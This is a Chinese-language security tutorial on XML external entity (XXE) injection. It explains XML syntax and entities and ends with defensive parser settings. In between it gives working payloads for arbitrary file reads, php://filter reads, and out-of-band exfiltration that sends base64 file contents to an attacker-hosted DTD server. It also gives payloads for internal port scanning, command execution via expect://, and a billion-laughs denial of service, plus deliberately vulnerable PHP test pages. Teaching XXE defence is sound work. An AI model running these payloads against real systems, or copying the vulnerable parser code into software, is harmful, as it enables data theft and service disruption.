1、XXE简介
XXE (XML EXternal Entity)即XML外部实体注入攻击,是一种常见的Web安全漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以通过XML的外部实体获取服务器中本应被保护的数据。如当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
2、XML基础
学习XXE,先来了解一下XML。
XML是一种用于标记电子文件使其具有结构性的可扩展标记语言(Extensible Markup Language)
XML是一种非常灵活的语言,类似于HTML语言,但是并没有固定的标签。所有的标签都可以自定义,其设计的宗旨是传输和存储数据,而不是像HTML一样显示数据。
XML不会做任何事情,它是被设计用来结构化、存储以及传输信息,也就是XML文件所携带的信息,需要被其他的语言或者程序来解析,才能发挥作用。
2.1、XML解析
流程图
- 程序(Application)接收到用户传递过来的数据,然后将其交给XML Generator(XML生成器)。
- XML Generator(XML生成器)在接收到程序传递过来的数据后,会将这些数据进行一个规范化,最终生成XML数据。
- XML Generator(XML生成器)在生成XML数据后,然后会由我们的HTTP客户端(HTTP Client)将其(XML数据)通过HTTP协议传递给服务端(Web Server)。
- Web Server在接收到XML数据后则会将其交给XML Parser(XML解析器)。
- XML解析器则会对接收到的XML数据进行一个解析处理,然后将信息返回给程序(Application),最终呈现给用户。
2.2、XML语法
(1) XML 文档必须有一个根元素
解释:就是说在XML文档中必须有一个元素是其他元素的父元素(也就是说其他元素必须包含在这个根元素下).根元素与其他元素的关系:父子关系.(2) XML 元素都必须有一个关闭标签
解释:也就是说XML元素必须有头有尾,一对一对的出现.(3) XML 标签对大小敏感
解释:XML标签的开始标签和闭合标签必须大小写一致.(不能一个大写一个小写)
如:<abc></Abc> ///这样就是错误的!(4) XML 元素必须被正确的嵌套
解释:XML元素在嵌套使用的时候,必须是一对一对的嵌套,不能只嵌套一个结束标签或一个开始标签.
如:<abc><test></abc></test> //这样就是错误的
<abc><test></test></abc> //正确的嵌套(5) XML 属性值必须加引号
解释:XML元素在设置了属性后,其属性值必须用引号包裹.
如:<abc color=blue> //这样是错误的
2.3、XML结构
XML结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML声明告诉浏览器这是一个XML文档。version属性是必须的,enconding属性说明文档的字符集编码。
我们可以把DTD理解为一个模板,这个模板里面定义了用户自己创建的根元素以及对应的子元素。而"文档元素"则必须以我们的DTD为模板,来对XML的元素的内容进行相应的规范化。
PCDATA 的意思是被解析的字符数据(parsed character data),是会被解析器解析的文本,这些文本将被解析器检查实体以及标记。
CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。在 XML 元素中,"<" (新元素的开始)和 “&” (字符实体的开始)是非法的。而某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。
示例:
2.4、XML实体
除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容)。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
用户可自定义的实体可以分为一般实体和参数实体
一般实体的声明语法:<!ENTITY 实体名 "实体内容">
引用实体的方式:&实体名;参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容">
引用实体的方式:%实体名;
示例代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY test "hello,world" >]>
<foo>&test;</foo>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!--参数实体-->
<!ENTITY % test "<!ENTITY hello 'hello,world'>">
%test;
]>
<foo>&hello;</foo>
实体从引入方式来看还可以分为两种,外部实体和内部实体。
- 外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。
- 如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用。
测试代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///D:/test.dtd"> ]>
<test>&xxe;</test>
外部实体&xxe;
表示的就是引入的test.dtd
中的内容。
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
引入外部实体可用的相关协议:
既然它能按照路径引入外部的 dtd
文件,那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?
测试代码:
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/windows/system.ini"> ]>
<test>&xxe;</test>
EOF;
$data = simplexml_load_string($xml,SimpleXMLElement,LIBXML_NOENT);
print_r($data);
?>
结果如图:
假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
3、XXE发现
-
首先寻找接受XML作为输入内容的注入点。
可以通过修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的xml内容,如果解析了, 那么则可能有XXE攻击漏洞。
还可以尝试注入xml预定义的一些实体,看其是否报错,通过报错信息判断。
-
如果站点解析xml,就可以尝试引用实体和DTD 。
-
如果可以引用外部实体,则存在xxe漏洞
4、XXE利用
4.1、文件读取
- 有回显的情况可以直接在页面中看到Payload的执行结果或现象(带内XML外部实体(XXE),即攻击者可以发送带有XXE有效负载的请求并从包含某些数据的Web应用程序获取响应)
测试代码:
<html>
<head>
<title>xxe</title>
<meta charset="utf-8">
</head>
<body><form action="./xml.php" method="post"><input type="text" name="id"><input type="submit"></form><?php
$xml = $_POST['id'];
$data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
$html.="<pre>{$data}</pre>";
echo $html;
?>
</body>
</html>>
读取本地文件
payload
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini" >
]>
<root>&xxe;</root>
执行结果
但是,当所读取文件中包含了<
或者&
等一些特殊符号时,会发现爆了一堆错而且读取不到该文件的内容。
原因是xml会把<
等特殊字符解析导致错误,那我们可以使用之前的CDATA
和参数实体来绕过。
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///D:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.77.1/xxe.dtd">
%dtd;
]>
<root>&all;</root>
xxe.dtd
<ENTITY all "%start;%xxe;%end;">
回显:
此外,针对读取文件中含特殊字符的情况并且该网站是php语言编写的,那我们可以使用php的一些伪协议进行读取。
用到的伪协议:
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。
实际利用:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/test.txt">]>
<user>&xxe;</user>
base64解码后得到test.txt中的内容
- 在实际情况中,大多数情况下服务器上的XML并不是输出用的,所以就少了输出这一环节,这样的话,即使漏洞存在,我们的payload的也被解析了,但是由于没有输出,我们也不知道解析得到的内容是什么,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带数据。
途径:通过外部DTD的方式可以将内部参数实体的内容与外部DTD声明的实体的内容拼接起来。
利用payload来从目标主机读取到文件内容后,将文件内容作为url的一部分来请求我们本地监听的端口。
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.232.128/a.dtd">
%remote;%int;%send;
]>
a.dtd文件内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///tmp/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.232.128/?p=%file;'>">
查看服务器日志
tail /var/log/nginx/access.log
同样,base64解码得test.txt的内容
4.2、端口探测
因为我们的XML在引用外部DTD和外部实体的时候支持http协议,我们可以利用这个特点进行端口探测。
测试代码:
<?php//禁用/启用加载外部实体的功能libxml_disable_entity_loader(false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);echo $creds;
?>
payload
<?xml version="1.0"?>
<!DOCTYPE xxe SYSTEM "http://192.168.77.1:80">
可以看到,如果是请求开放的端口,请求时间较短。
而如果请求的是未开放的端口,则请求时间明显加长!
进一步可利用burpsuite的爆破模块(Intruder)对所在网段进行端口探测。
4.3、命令执行
当目标机器安装并加载了PHP的expect扩展,可以执行系统命令.(由于这个扩展不是默认安装的,所以很少碰到!)
<?xml version="1.0"?>
<!DOCTYPE root [ <!ELEMENT ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>&xxe;</root>
4.4、DOS攻击
在实验的过程中发现,单独一个数据包并不明显,可以结合burpsuite的爆破模块使用!(实际测试切记不要尝试)
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>
5、XXE防御
-
禁用外部实体应用
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);.setFeature("http://xml.org/sax/features/external-general-entities",false).setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
黑名单过滤
建立黑名单,如<、DOCTYPE、ENTITY、SYSTEM、PUBLIC等字符,过滤掉用户输入的敏感词。
6、参考资料
[1] 一篇文章带你深入理解漏洞之 XXE 漏洞
[2] XXE漏洞学习